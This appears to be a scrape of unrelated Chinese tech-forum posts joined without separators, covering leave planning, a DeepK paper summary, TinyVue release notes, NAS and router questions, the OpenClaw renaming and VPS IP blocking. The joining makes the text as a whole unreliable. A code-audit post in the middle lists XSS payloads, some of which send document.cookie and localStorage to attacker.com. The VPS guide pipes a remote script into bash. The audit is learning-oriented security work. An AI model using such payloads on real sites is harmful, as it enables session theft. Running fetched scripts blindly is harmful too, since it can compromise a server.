26 春节临近。公司正常国假,我还有 10+3 天年假。准备请 3 天年假提前回家。家在徐州然后自驾去重庆;这样等三十/初一回来就不会堵了吧。明年还留 10 天准备暑假再用了。每年留 3-4 天左右应急。大家怎么看?

摘要:
浙大与 OceanBase 联合提出 DeepK 调试引擎,为 LLM-based 自动程序修复提供了一种全新的思路。通过将隐含在大规模 bug-fix 数据中的调试经验显式化、结构化并系统复用,有效弥补了现有方法过度依赖隐式推理的不足,引导大语言模型从“隐式猜修复”转向“基于经验的知识驱动调试”,显著提升了自动程序修复的准确性与稳定性。

日前,由浙江大学与 OceanBase 团队联合撰写的论文:《Debugging Engine Enhanced by Prior Knowledge: Can We Teach LLM How to Debug?》被软件工程领域顶级会议 The ACM International Conference on the Foundations of Software Engineering (FSE) 2026 录用。

FSE 是软件工程领域最具影响力的国际顶级会议之一,是中国计算机学会 CCF 推荐的 A 类国际会议。本论文通过系统化提取和复用结构化调试知识,引导大语言模型从“隐式猜修复”转向“基于经验的知识驱动调试”,显著提升了自动程序修复的准确性与稳定性。

简介

随着大语言模型在代码理解与生成领域能力的不断增强,自动程序修复(Automated Program Repair,APR)逐渐成为软件工程研究的重要方向。

近年来,大量工作尝试通过提示工程、多智能体协作、示例检索或执行反馈等方式提升修复效果,并在多个基准数据集上取得了可观进展。然而,这些方法大多仍然依赖模型的隐式推理能力:模型需要从原始示例、上下文或运行结果中自行推断调试思路,而调试过程中真正稳定、可复用的知识却并未被显式建模和系统利用。

论文 DeepK(Debugging Engine Enhanced by Prior Knowledge)正是针对这一核心缺陷提出了解决方案。

作者指出,大规模 bug-fix 数据集中蕴含着丰富的调试经验,但现有方法通常只将其作为上下文示例或推理演示使用,而没有将其中的调试逻辑提炼为结构化知识。

DeepK 通过系统性地提取、验证并复用调试知识,为大语言模型提供明确的调试指导,使程序修复从“依赖模型临场发挥”转向“基于经验的知识驱动推理”。

核心理念:让调试从隐式推断走向显式知识引导

传统的 LLM-based APR 方法在设计上存在一个根本矛盾:一方面希望模型具备类似人类的调试能力,另一方面却很少向模型明确提供“人类是如何调试的”。模型虽然可以在大量示例中隐式学习模式,但这种方式缺乏稳定性、可解释性,也难以在分布外场景中保持鲁棒。
DeepK 的核心理念在于,将调试视为一种可总结、可验证、可复用的知识过程。它不再把修复行为简单等同于补丁生成,而是将调试拆解为两个紧密协同的部分:对错误根因的理解,以及围绕该根因展开的修复策略。通过显式建模这两类调试知识,DeepK 试图为大语言模型提供类似“资深程序员经验”的指导,使其在面对新 bug 时能够遵循已有的成功调试路径进行推理,而非从零开始试探。

图 1. DeepK 的 4 阶段架构

核心技术一:基于 AST 的编辑描述生成与调试语义对齐

在从历史 bug-fix 数据中提取调试知识时,一个关键挑战在于如何避免被低层次的代码差异所干扰。直接对比 buggy 与 fixed 代码往往会产生大量琐碎、语义不明确的修改信息,难以反映真实的调试逻辑。

为此,DeepK 引入了一种基于抽象语法树的编辑描述生成机制,将代码层面的差异转化为人类可读、具有步骤感的自然语言编辑描述。

该机制通过分析两版代码的 AST 结构,定位真正与错误修复相关的修改位置,并过滤掉不合理或无关的编辑操作,从而生成更符合人类调试习惯的修改描述。这一过程有效弥合了“代码补丁”与“调试思维”之间的鸿沟,为后续调试知识的抽取提供了清晰、语义化的输入。

图 2. 代码编辑描述生成工具

核心技术二:结构化调试知识的抽取、验证与知识库构建

在获得编辑描述后,DeepK 进一步引导大语言模型围绕“如何定位并修复该 bug”生成结构化调试知识。模型需要明确指出错误的根因,并给出一步步的调试与修复策略。与以往方法不同的是,DeepK 并不直接接受模型生成的结果,而是引入了验证机制:模型必须仅基于自己生成的调试知识重新修复程序,并通过测试用例验证其正确性。只有能够稳定指导修复成功的知识,才会被纳入最终的调试知识库。

在知识组织层面,DeepK 采用多视角索引策略,从任务描述、程序结构以及执行轨迹等多个维度刻画每一条调试知识,使其能够在面对不同类型的新 bug 时被准确检索。这种多维度设计避免了单一相似度度量带来的偏差,使知识检索既具备语义相关性,又保留结构与运行层面的信息。

图 3. 结构化调试知识抽取

核心技术三:先验调试知识增强的程序修复流程

在实际修复新 bug 时,DeepK 并不替代现有 APR 系统,而是以“调试知识增强模块”的形式融入其中。当系统接收到新的 buggy 代码后,会从知识库中检索出最相关的调试知识,并将其注入模型的推理阶段,引导模型围绕已验证的调试思路展开修复。

这种设计使 DeepK 能够自然地与不同类型的 APR 系统集成,无论是基于提示与检索的非智能体方法,还是基于脚本化流程的修复框架,都可以从中受益。

通过这种方式,程序修复过程不再依赖单次推理的偶然成功,而是建立在大量历史调试经验的积累之上,使模型的行为更加稳定、可解释。

性能成果

在 ACPR 与 AtCoder 等多个基准数据集上的实验结果表明,DeepK 在不同模型后端(GPT-4o与 DeepSeek-v3)下均能显著提升现有方法的修复准确率。在分布内场景中,DeepK 相较最强基线方法取得了稳定的绝对提升;在更具挑战性的分布外竞赛编程任务中,其相对提升尤为显著,显示出结构化调试知识在应对分布偏移时的独特价值。

图 4. DeepK 与其他基准方法的对比

进一步的消融实验验证了各个设计组件的重要性。结果显示,对调试策略的显式建模对性能提升贡献最大,多维度检索机制显著增强了系统的鲁棒性,而基于 AST 的编辑描述在复杂程序修复中发挥了关键作用。同时,实验还揭示了调试知识数量与性能之间的权衡关系,表明适量、精准的知识注入比简单堆叠上下文更加有效。

图 5.知识库索引构建的消融实验

图 6. 结构化调试知识的消融实验

图 7. 代码编辑描述工具的消融实验

图 8. 调试知识数量与调试性能的关系

结语

DeepK 的工作为 LLM-based 自动程序修复提供了一种全新的思路。通过将隐含在大规模 bug-fix 数据中的调试经验显式化、结构化并系统复用,该框架有效弥补了现有方法过度依赖隐式推理的不足。

在实践中,DeepK 在多种数据分布与模型设置下均展现出稳定的性能提升,并显著增强了修复过程的可解释性与鲁棒性。

这项研究表明,相比不断扩展模型规模或复杂化推理流程,让模型掌握可复用的调试知识可能是一条更加稳健、可持续的路径,也为未来构建更可靠的软件智能系统奠定了坚实基础。

欢迎访问 OceanBase 官网获取更多信息:https://www.oceanbase.com/

哈哈,经典引战标题。

不过经常看到帖子中有关于排版的声讨评论,所以刚刚 vibe 了一个格式化 v 站帖子正文的油猴脚本。

https://gist.github.com/gBearBest/f13567a9d889e805c09840f0a3aa0687

安装后,打开任意帖子详情,点开油猴扩展图标可以进行设置。

可以设置自动格式化:

也可以在帖子下方的标签旁的按钮点击手动格式化:

代码审计,一个多么高大上的“成语”,在我的世界里,它既神秘又好奇,感觉很牛逼的样子,于是给自己定了一个目标,每个月都找一个开源项目审计一下,一方面是为了学习,另一方面是为了发帖有内容,哈哈。
实不相瞒,从事安全这个行业也算是半路出家,比不上那些大佬们,很久之前就开始搞安全了,话说那时候的安全还是挺香的,而现在却太卷了,从上卷倒下,从东卷到西,身心俱备。
转而言之,现在的安全能力,无论是从什么样的角度去看,基本上做的都还挺好的,想要挖洞太难了,不是流量有监控就是边界有WAF,不是内网有EDR就是终端有杀毒等等吧。于是,就开始研究代码层面,但是无奈又没搞过开发,又去了解代码,从前端JS+HTML+CSS到框架VUE,从JAVA、Python到SpringBoot、微服务、云原生等等吧,都去尝试了解和学习了一下,但是写的不较少,于是就转换思路,从看到写,先看别人怎么写的,思路是啥,为啥他会这么写,他的逻辑是什么等等。想通过这样的方式来增加自己在代码层面的深度,坚持每天看一点,希望对自己有所帮助吧,大佬们觉得怎么样??
一、简介
本次审计的系统是一套基于SpringBoot,Shiro,Vue , Element 的前后端分离权限管理系统。系统包含了常见的功能模块,支持加载动态权限菜单,多方式轻松权限控制。
二、开搞
首先介绍一下我自己的一个代码审计的思路:
1)拿到一个项目肯定是要从头到位的先看一遍,到处点一点,看看整体的大概的逻辑;
2)看源码,大概的先把源码全部都看一眼,我自己的话是先看前端,在看后端,前端主要看路由,后端主要看controller接口以及DAO层面;
3)找漏洞(历史组件漏洞、XSS、SQL注入、未授权访问等等)
不过对于我来说没有很丰富的开发经验,当然目前的智能化时代发展非常的迅速的同时,有的时候也会感觉有点迷失自我,感觉没必要在自己学习了,如今的代码审计其实更加快速的那肯定是结合这个AI大模型了,不仅快,而且效率还高。但是从我个人来讲,其实还是得依然还是要保持着一种终身学习的心态,不断的提升自己在专业领域的一些专业知识还是挺重要的,现在碎片化的知识太多了没有形成体系,还是有很多的缺失,不过很久之前报了一个前端开发的课程,加上在B站上和淘宝上买了后端开发的教程,每天都在坚持学习。基本上搞通了前后端分离的架构开发逻辑,当然主要还是针对于web的项目,而对于微服务的项目、云原生的项目其实还是了解的不太多。
那么废话不多说,接下来让我们从前端开始吧!!!
1、XSS
1.1、VUE简介
对于XSS漏洞,想必大家应该都很熟悉了,理论我就不再讲了,简单的讲一下目前市面上主流的前端框架吧。首先,要提到的肯定是国产之光了:VUE,VUE对于国人来说确实是非常好用的前端框架了,他的主要特点就是响应式,这也是为啥国人用的比较多的,在没有VUE之前,React和Angular这两个前端框架统治者前端开发很多年,并且这两个框架的源码还是老外开发的,而作为国人的骄傲肯定还是得VUE。
VUE的主要特点是响应式,就是前端根据后端提供的数据适时展示给用户,简单理解就是数据变了,前端页面页跟着变。
应用实例:

import { createApp } from 'vue'

  const app = createApp({
    /* 根组件选项 */
  })

创建一个根组建:

import { createApp } from 'vue'
  // 从一个单文件组件中导入根组件
  import App from './App.vue'

  const app = createApp(App)

简单示例:

<div id="app">
  <button @click="count++">{{ count }}</button>
</div>
import { createApp } from 'vue'

  const app = createApp({
    data() {
      return {
        count: 0
      }
    }
  })

  app.mount('#app')

1.2、VUE指令
这里我主要讲一下v-html这个指令,因为它跟XSS比较亲热。v-html其主要作用是用来更新元素的 innerHTML,传入的参数是一个String类型。官方解释是:v-html 的内容直接作为普通 HTML 插入—— Vue 模板语法是不会被解析的。如果你发现自己正打算用 v-html 来编写模板,不如重新想想怎么使用组件来代替。同时官方也有一个安全提醒:


1.3、漏洞触发
简单了解了VUE中的v-html之后,接下来我们在项目中就可以检索对应的v-html标签了,通过IDEA打开项目,全局检索“v-html”:

匹配到了共有12处采用了此语法。
先把代码丢改大模型,让他帮忙生成测试的XSS代码:

# 基础测试
<img src=x onerror=alert('XSS')>
<script>alert('XSS')</script>
<svg/onload=alert('XSS')>
# 隐藏Payload
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:red;z-index:9999;display:none" id="xss"></div>
<script>document.getElementById('xss').style.display='block';alert('XSS')</script>
# 信息窃取
<script>
// 窃取Cookie
fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie) + '&url=' + encodeURIComponent(location.href));

// 或者更隐蔽的方式
var img = new Image();
img.src = 'https://attacker.com/log?data=' + btoa(document.cookie + '|' + localStorage);
</script>

这里我用了第一个常规的做了一下测试,其他的就没做了。
1、信息管理
接下来我们以“信息标题”找一下入口路由点:

找到了它的路由是在通知公告这里。于是,我们就创建一个带有XSS的标题信息如下:

由于是管理后台触发,因此这里需要再创建一个普通角色的人员:

通过普通角色去查看信息发布的模块的时候,即可出发XSS:

2、内部聊天

发送聊天信息含有XSS的payload:
<img src=x onerror=alert('XSS')>
触发反射型XSS

以对方聊天身份另外一个用户身份登录:

点开会话即触发XSS:

3、问卷调查
从上面检索的里面再找一个:

找到几个引用模版的地方

创建一个带有XSS标题的模版

创建完成之后,需要发布一下:

创建完成后,在模版广场这里就会有刚才创建的带有XSS标题的模版:

点击设计预览,即触发XSS:

选择设计预览:

触发XSS,不过这里只触发了一次,不知道是为啥?

至此,基本上所有的XSS都已经触发了!至于其他的这里就不再一一列举了!后续有时间再看看其他的洞....

本文由体验技术团队TinyVue项目组原创。

一、前言

我们非常高兴地宣布,最近,TinyVue发布了 v3.28.0🎉,
这个版本带来了:

  • 选择器组件家族全面重构 - 统一架构,性能提升
  • 主题动画全局配置- 一键定制,随心所欲
  • 65+Bug 及优化修复 - 稳定性大幅提升

详细的 Release Notes 请参考:https://github.com/opentiny/tiny-vue/releases/tag/v3.28.0

本次版本共有 11 位贡献者参与开发,其中 IKEYCY / neostfox 是新朋友,欢迎新朋友的加入👏,感谢新老朋友们对 TinyVue 的辛苦付出👏

  • IKEYCY- 新增贡献者✨
  • neostfox- 新增贡献者✨
  • shenjunjian
  • kagol
  • zzcr
  • gimmyhehe
  • Davont
  • discreted66
  • wuyiping0628
  • James-9696
  • gausszhou

同时,如果你在使用过程中遇到任何问题,或者有好的建议,欢迎:

二、升级指南

你可以更新 @opentiny/vue@3.28.0 进行体验!

# 安装最新版本

npm install @opentiny/vue@3.28.0

# 或使用 yarn

yarn add @opentiny/vue@3.28.0

如果遇到问题,可以:

查看 Issue - 在 GitHub 上搜索相关问题
提交 Issue - 如果问题未解决,提交新的 Issue

三、特性介绍

下面我们一起来看看都有哪些更新吧!

选择器组件"家族重组"

为什么需要重构?

Select 组件的现状和问题:

  • Select 组件中耦合了 Tree / Grid 两个重型组件,分别对应下拉树和下拉表格两个特性,render-type="tree" | "grid"
  • 下拉树和下拉表格并不是常态,普通的下拉列表才是常态,这就导致了大量只使用Select简单功能的业务包体积也很大,影响业务性能
  • 依赖了 Select 的组件,比如 Area,间接地等于依赖了 Select / Grid / Tree,导致包体积变大
  • 本来应该依赖基于 Select 组件的组件,比如 Pager,由于 Select 耦合了 tree/grid,因此只能自己实现一个 Select,造成重复代码

我们使用 Vite 创建一个空的 Vue 项目,对比下不同情况下构建产物体积情况:

产物体积(css+js, 单位kB)gzip之后的产物体积(单位kB)
不引入TinyVue组件5623
只引入Select组件1777424
只引入Tree组件789190
只引入Grid组件1217302
只引入Button31091
只引入Area组件(依赖Select)1783425

不引入TinyVue组件/只引入Select组件/只引入Tree组件的产物体积对比:

1.png

只使用 Area 组件(依赖了Select组件)的产物体积:

2.png

可以看到:

  • 只引入 Select 组件,产物里面却同时包含了 tree/grid 两个组件,导致产物体积很大
  • Area 组件本身只是一个很简单的组件,由于引入了 Select,导致产物体积也非常大

重构目标

本次重构主要达成以下目标:

  1. 从 Select 组件中**剥离 Tree / Grid 组件,让业务在单引Select组件时不再包含 tree/grid 两个重型组件
  2. 减少业务单引Select组件(包括TinyVue组件中依赖了Select的组件)时的包体积,优化性能
  3. 重构完不能引起破坏性变更,不能影响现有业务

重构方案

为了达成以上目标,我们设计并实行了以下重构方案:

  1. 开发一个新组件 BaseSelect,这个组件和 Select 组件的api和功能完全一致,只是移除了 tree/grid 相关api和功能
  2. BaseSelect 组件增加panel插槽,并设计好panel与reference的沟通机制,让用户可以在panel插槽放置任意内容,包括tree/grid等组件,从而实现下拉树、下拉表格等功能
  3. 基于 BaseSelect 封装 TreeSelect 组件,实现下拉树组件
  4. 基于 BaseSelect 封装 GridSelect 组件,实现下拉表格组件
  5. 重构 Select,移除原有的 tree/grid 功能,基于 BaseSelect / TreeSeelct / GridSelect 组件进行封装,全新的 Select 组件api和功能与原来的Select组件一模一样,不影响用户使用
  6. 开发全新select-wrapper包装器,包含原本select所有功能用于平替

重构后组件关系如下图:

3.png

业务性能优化

使用了 Select 组件的业务,如果想要优化性能,可以:

  • 只需要Select基本功能的业务,可以通过全局替换 tiny-selecttiny-base-select 来实现性能优化
  • 使用了Select组件下拉树功能的业务,可以通过全局替换 tiny-selecttiny-tree-select 来实现性能优化
  • 使用了Select组件下拉表格功能的业务,可以通过全局替换 tiny-selecttiny-grid-select 来实现性能优化
  • 如果业务同时使用了下拉树和下拉表格功能,则可以使用 SelectWrapper 组件

场景示例

仅使用base-select与select组件打包对比包体积减少50%以上
4.png

新增功能:懒加载支持

tree-select 现在支持懒加载,想象一下,一个包含 10,000 个节点的树形选择器,以前需要一次性加载所有数据,现在可以按需加载,性能提升不是一点点!

懒加载的使用场景

  1. 大数据量树形结构 - 当树节点数量超过 1000 个时,懒加载可以显著提升性能
  2. 动态数据加载 - 数据需要从服务器按需获取
  3. 减少初始加载时间 - 只加载用户需要查看的节点

主题动画:一键定制,随心所欲

全局动画配置

为 TinyVue 提供 全局动效配置能力,基于 LESS 与 CSS 变量,实现以下目标:

  1. 统一管理:所有动效集中维护,避免分散定义与重复工作。
  2. 全局可控:通过 CSS 变量统一控制动效的持续时间、延迟、速度等参数。
  3. 组件集成:组件可直接调用统一的动效类名或 @keyframes
  4. 动态可调:通过覆盖 CSS 变量即可在不同场景下切换动效风格。

全局变量定义

/packages/theme/src/base/vars.less 中统一定义动效变量:

:root {
  /* 蚂蚁线相关配置 */
  --tv-motion-ants-shift: 8px;
  --tv-motion-ants-speed: 0.8s;

  /* 其他动效参数... */
}

开发者可在组件主题文件中覆盖这些变量:

.copyed-borders {
  --tv-motion-ants-shift: 12px;
  --tv-motion-ants-speed: 1.2s;
}

也可通过在 /packages/theme/src/base/ 下创建 motion-theme.less 来切换全局动效风格:

:root {
  --tv-motion-ants-shift: 12px;
  --tv-motion-ants-speed: 1.2s;
}

动效分类与目录结构

所有动效存放在 /packages/theme/src/motion/ 目录下,按类型拆分:

motion/
  ├─ fade.less        // 淡入淡出
  ├─ slide.less       // 滑动
  ├─ zoom.less        // 缩放
  ├─ rotate.less      // 旋转
  ├─ bounce.less      // 弹跳
  ├─ scroll.less      // 滚动
  ├─ stroke.less      // 描边
  ├─ shine.less       // 闪烁
  ├─ ants.less        // 蚂蚁线
  ├─ arrow.less       // 箭头
  ├─ tab.less         // Tab 切换
  ├─ progress.less    // 进度条
  └─ index.less       // 统一引入

动效示例

1. 淡入淡出 (fade.less)

@keyframes fade-in {
  0%   { opacity: 0; }
  100% { opacity: 1; }
}

@keyframes fade-out {
  0%   { opacity: 1; }
  100% { opacity: 0; }
}

组件调用示例:

.@{fade-prefix-cls} {
  &-enter-active {
    animation: var(--tv-motion-fade-speed) fade-in ease-out both;
  }
  &-leave-active {
    animation: var(--tv-motion-fade-speed) fade-out ease-in both;
  }
}

5.gif

2. 滑动 (slide.less)

@keyframes slide-left-in {
  0%   { opacity: 0; transform: translateX(var(--tv-motion-slide-offset-left)); }
  50%  { opacity: var(--tv-motion-slide-opacity-mid); transform: translateX(var(--tv-motion-slide-offset-left-mid)); }
  100% { opacity: 1; transform: translateX(0%); }
}

@keyframes slide-left-out {
  0%   { opacity: 1; transform: translateX(0%); }
  50%  { opacity: var(--tv-motion-slide-opacity-mid); transform: translateX(var(--tv-motion-slide-offset-left-mid)); }
  100% { opacity: 0; transform: translateX(var(--tv-motion-slide-offset-left)); }
}

组件调用示例:

.drawer-slide-left-enter-active {
  animation: slide-left-in var(--tv-motion-slide-speed) linear;
}
.drawer-slide-left-leave-active {
  animation: slide-left-out var(--tv-motion-slide-speed) linear;
}

6.gif

3. 蚂蚁线 (ants.less,可配置)

@keyframes ants-x {
  0%   { background-position: 0 0; }
  100% { background-position: var(--tv-motion-ants-shift, 8px) 0; }
}

@keyframes ants-x-rev {
  0%   { background-position: 0 0; }
  100% { background-position: calc(-1 * var(--tv-motion-ants-shift, 8px)) 0; }
}

组件调用示例:

.@{grid-prefix-cls}-copyed-borders {
  --tv-motion-ants-shift: 13px;

  .@{grid-prefix-cls}-border-top {
    animation: ants-x var(--tv-motion-ants-speed) linear infinite;
  }
  .@{grid-prefix-cls}-border-right {
    animation: ants-y var(--tv-motion-ants-speed) linear infinite;
  }
  .@{grid-prefix-cls}-border-bottom {
    animation: ants-x-rev var(--tv-motion-ants-speed) linear infinite;
  }
  .@{grid-prefix-cls}-border-left {
    animation: ants-y-rev var(--tv-motion-ants-speed) linear infinite;
  }
}

7.gif

组件集成方式

  1. 全局引入
    所有 @keyframestransition.lessmotion/* 中集中维护,统一加载。
  2. 局部调用
    组件可通过 classNameanimation 调用指定动效。
  3. 可配置参数
    开发者可通过覆盖 :root 变量调整动效时长、速度等参数。

四、其他重要更新

下拉菜单右键支持

dropdown 组件现在支持右键菜单触发了!这对于需要上下文菜单的场景非常有用。
8.gif

使用场景

右键菜单在很多业务场景中都非常常见:

  • 表格行操作 - 在表格行上右键显示操作菜单
  • 文件管理 - 文件列表的右键菜单
  • 编辑器 - 文本编辑器的上下文菜单
  • 图形界面 - 画布元素的右键菜单

支持的触发方式

  • click - 点击触发(默认)
  • hover - 悬停触发
  • contextmenu - 右键触发(新功能)
  • focus - 聚焦触发

Switch 组件宽度自定义

switch 组件现在支持自定义宽度了!不再局限于固定的尺寸。
9.png

使用场景

自定义宽度让你可以:

  • 适配不同设计风格 - 根据 UI 设计调整开关大小
  • 提升视觉层次 - 通过不同尺寸区分重要程度
  • 响应式设计 - 在不同屏幕尺寸下使用不同宽度
  • 样式定制 - 配合 CSS,你可以进一步定制开关的样式

Modal 头部拖拽

modal 组件现在支持设置 headerDragable 属性,让用户可以拖拽弹窗头部来移动弹窗位置。
10.gif

使用场景

拖拽功能特别适合:

  • 多窗口场景 - 用户可以自由调整弹窗位置,避免遮挡
  • 大屏幕应用 - 在宽屏显示器上,拖拽可以提升操作效率
  • 用户个性化 - 让用户按照自己的习惯摆放弹窗

注意事项

  • 拖拽功能只在弹窗未全屏时生效
  • 拖拽范围受视口限制,不会拖出屏幕
  • 可以通过 CSS 自定义拖拽时的样式

Drawer 按 ESC 关闭

drawer 组件现在支持通过按 ESC 键关闭,用户体验更加友好。
11.gif

使用场景

ESC 键关闭是用户习惯的操作方式:

  • 符合用户预期 - 大多数应用都支持 ESC 关闭
  • 提升操作效率 - 键盘操作比鼠标点击更快
  • 无障碍支持 - 方便键盘用户操作

其他关闭方式

Drawer 组件支持多种关闭方式:

  • 点击遮罩层关闭(默认)
  • 点击关闭按钮
  • 按 ESC 键关闭(新功能)
  • 调用 close() 方法

Tree Menu 节点点击增强

tree-menu 组件现在支持在文档中点击添加节点,交互更加直观。

使用场景

这个功能特别适合:

  • 可视化编辑 - 在文档中直接点击添加节点
  • 快速操作 - 提升节点添加的效率
  • 直观交互 - 所见即所得的编辑体验

Guide 组件触发条件优化

guide组件现在支持showStep属性,只有在showSteptrue` 时才会触发引导。

12.gif

使用场景

这个优化让你可以:

  • 条件触发 - 只在特定条件下显示引导
  • 避免干扰 - 不会在用户不需要时弹出
  • 灵活控制 - 根据业务逻辑动态控制引导显示

五、结语

TinyVue v3.28.0 版本的发布,实现了多项重要升级:对选择器组件家族进行了彻底重构,解耦了 Tree / Grid 等重型功能,显著降低了单个组件的体积;新增了全局主题动画配置,让动画效果可通过 CSS 变量随意定制;引入了懒加载、右键菜单、宽度自定义、弹窗拖拽、ESC 关闭等实用功能,进一步提升了开发体验和用户交互;同时修复了 65+ 个 Bug,整体稳定性大幅提升。通过这些改进,TinyVue 不仅在性能上实现了突破,也为开发者提供了更灵活、可维护的组件库,期待在未来的项目中为你带来更高效、更优雅的开发体验,让我们一起,让前端开发变得更简单、更高效!

关于OpenTiny

欢迎加入 OpenTiny 开源社区。添加微信小助手:opentiny-official 一起参与交流前端技术~
OpenTiny 官网:https://opentiny.design
OpenTiny 代码仓库:https://github.com/opentiny
TinyVue源码:https://github.com/opentiny/tiny-vue

欢迎进入代码仓库 Star🌟TinyVue、TinyEngine、TinyPro、TinyNG、TinyCLI、TinyEditor
如果你也想要共建,可以进入代码仓库,找到 good first issue标签,一起参与开源贡献~

我是小白,只白嫖飞牛 os 的便利特性能不能这样操作:

  • 防火墙打开,入站只允许内网和 VPN 端口,出站不限制
  • 内网照常用,在外只用 VPN 或者 SS 等协议回家操作
  • 想偷懒就可以前置一个网页防火墙+反向代理,只暴露这个端口,做好 ip 区域、反向代理域名限制
  • 不使用没有二次验证的内网穿透
  • 实在不行就关了对外访问,入站防火墙全开,只在内网用

我看飞牛论坛是一片风平浪静,讨论 waf 、lucky 、雷池……只要自己没中招就万事大吉,不关心飞牛对它隧道安全性的漠视。有人说永不更新系统也不用飞牛隧道,因为不信任飞牛。

夜哭到明,明哭到夜,能哭死飞牛否?

其他品牌(D-Link)也有过漏洞,厂家一句生命周期结束建议报废就能打发。

1. 背景

刚搭建好了旁路由:Cudy TR3000 + ImmortalWrt + Nikki ;主路由的 DNS 没有指向旁路由机器,啥都没动;只是把终端设备( iqoo 手机、vivo pad5 pro )的网关和 DNS 手动设置 为旁路由 ip ,能正常的科学上网,国内的网站也不受影响。当我把终端的 ip 获取方式 改回 DHCP 时 问题出现了

2. 问题

进入 wifi 详情,点网络诊断,说是 dns 异常;点网络测试,说当前网络网络不稳定; wifi 图标显示感叹号,但其他的 app 能 正常上网。点 全球网测 app 报错:获取不到测速节点。

点完网络诊断,我点修复 DNS 后,测速正常,全球网测 app 也能正常获取到测速节点

3. 猜测

是手机和 pad 本地缓存了我之前设置的 dns ?我设置静态 ip 后也点了测速,能正常测速,讲道理即使缓存也没关系

有大佬有这块的经验吗?

大家好,我是凌览。

如果本文能给你提供启发或帮助,欢迎动动小手指,一键三连(点赞评论转发),给我一些支持和鼓励谢谢。


要说最近AI圈最折腾的项目,非这只"龙虾"莫属。
两个月前,它还叫Clawdbot,三天前改成了Moltbot,结果还没等大家念顺口,1月30日又宣布最终定名OpenClaw。

短短72小时内两度更名,GitHub上那个超过10万星标的开源项目,硬是把取名这件事演成了连续剧。

从一封律师函说起

事情从25年11月份说起,国外开发者Peter搞了个项目,最初叫"WhatsApp Relay"。

后来他觉得Claude Code那个龙虾形象挺酷,就给自己的项目起了个谐音梗名字——Clawdbot(龙虾叫Clawd),Logo也用了类似的红色龙虾形象。

项目意外爆火。一周200万访问量,GitHub星标蹭蹭往上涨,连Mac Mini都因为这玩意儿销量激增。

人红是非多,Anthropic的法务团队找上门了:Clawd跟Claude发音太像,涉嫌商标侵权。

"去掉d改成Clawbot也不行",面对AI巨头的压力,他最终还是妥协了。

第一次改名:Moltbot

1月27日,Clawdbot正式更名为Moltbot。新名字取自龙虾"蜕皮"(Molt)的生物学过程——龙虾必须蜕掉旧壳才能长大。Peter在公告里写:"同样的龙虾灵魂,换了一身新壳。"

吉祥物从Clawd改成了Molty,Logo也同步更新。社区对这个名字还算包容,毕竟寓意挺深刻。但麻烦接踵而至:GitHub在重命名时出了故障,Peter的个人账号一度报错;更离谱的是,X上的旧账号@clawdbot在改名后短短10秒内就被加密货币骗子抢注,随即开始炒作一款叫CLAWD的假代币,市值一度炒到1600万美元后崩盘。

Peter不得不连发数条推文澄清:这是个非营利项目,他永远不会发币,任何挂他名字的代币都是骗局。

第二次改名:OpenClaw

Moltbot这个名字还没捂热,三天后,Peter又宣布了最终名称:OpenClaw。

这次他学乖了。这个名字是凌晨5点Discord群里脑暴出来的,Peter提前做了功课——商标查询没问题,域名全部买断,迁移代码也写好了。

Open代表开源、开放、社区驱动;Claw代表龙虾 heritage,向起源致敬。Peter说,这精准概括了项目的精神内核。

改名背后的折腾

回头看这三次更名,简直像一场被迫的成长。

第一次是玩梗撞上了法律墙,第二次是应急方案不够完善,第三次才算真正站稳。这期间还夹杂着GitHub故障、账号被抢注、币圈骚扰、安全漏洞被研究人员点名——一个个人开发者的业余项目,在爆红后遭遇的连锁反应,比代码调试还让人头大。

现在它叫OpenClaw

不管名字怎么变,这个项目的核心没变:跑在你自己机器上的AI助手,支持WhatsApp、Telegram、飞书、钉钉等20多个平台,数据全本地,能操作文件、执行命令、调用API。你可以把它当成一个7×24小时待命的"数字员工",在聊天软件里@它一声,它就能帮你查数据库、整理会议纪要、甚至批量删除7.5万封邮件。

最新版本还增加了Twitch和Google Chat支持,集成了KIMI K2.5等模型,Web界面也能发图片了。

至于那只龙虾,还在。只是现在它叫OpenClaw,不叫Clawd,也不叫Molty了。

前言

相信经常使用海外VPS的兄弟都经历过IP送中或者IP被墙的问题,如果你是一个电商独立站或者资源站的站长,当这些问题发生时,通常会给我们带来巨大的影响和损失。如果你是一个普通用户,用于浏览国外流媒体或者搭建个人博客等操作,则送中对于我们没太大影响,被墙则需要更换IP。今天我就来跟大家聊聊IP送中和被墙的原因以及解决办法。

一:IP送中

1. IP送中是什么意思

IP送中通常是因为谷歌(Google)将你的IP所在地区识别为中国地区,导致我们访问部分限制中国地区的软件或网站时(例如Google gemini,YouTube premium等)无法使用。此外,一些黑客也会使用这些IP地址进行恶意攻击,这也会导致Google将这些IP地址标记为“送中”

2. IP送中的原因

当我们使用浏览器或APP开了GPS定位(比如手机/电脑)权限后,使用VPS的IP访问谷歌服务时,Google可能把GPS定位和IP关联起来,导致IP被标记为中国。

3. IP送中的检测方法

(1)访问YouTube premium

浏览器输入https://www.youtube.com/premium进行访问

如果出现“YouTube Premium 在您所在的国家/地区尚未推出”的提示,则IP被定为中国地区即送中。

(2)使用流媒体检测脚本

在服务器输入bash <(curl -L -s check.unlock.media)

如检测结果为Premium: No(Region: CN),则IP被标记为中国地区即送中。

4. IP送中的解决办法

(1)关闭浏览器或手机APP的定位(GPS)权限

电脑移除定位权限: Chrome - 设置 - 隐私设置和安全性, 网站设置 - 位置信息, 移除谷歌的相关站点。

手机关闭APP的定位权限: 应用的权限管理, 将浏览器的的定位权限关闭,或者直接关闭手机定位。

(2)强制修改定位

如果是使用的电脑端的谷歌浏览器, 安装使用Location Guard插件, 强制标记GPS定位。

二:IP被墙

1. IP被墙是什么意思

VPS被墙通常是中国长城防火墙(GFW)因为你的违规行为将你的IP拉入屏蔽黑名单,导致大部分服务都无法使用,基本等同于被封禁。

2. IP被墙的原因

(1)使用违规服务

使用违规服务通常是IP封禁的主要原因,常见的违规服务大概有网络代理(即翻墙),访问非正规或者政治敏感的网站,中国大陆对这两种行为有严格的监管特别是第二种,如果只是因为网络代理被封禁纯属点背。

(2)VPS资源异常

在低配VPS上运行高负载应用,服务器CPU长期处于满载,可能会被服务商直接封禁。类似情况还包括过度使用带宽、磁盘I/O过高等。你的云服务器遭受或发起DDoS攻击,不规范的爬虫行为,以及大量端口扫描操作,这些操作都有可能导致IP封禁。

3. IP被墙的检测方法

(1)Ping测试

随便在一个终端后台输入“Ping IP地址”,如果ping不通,很可能就是被GFW封锁的迹象。

(2)Traceroute追踪

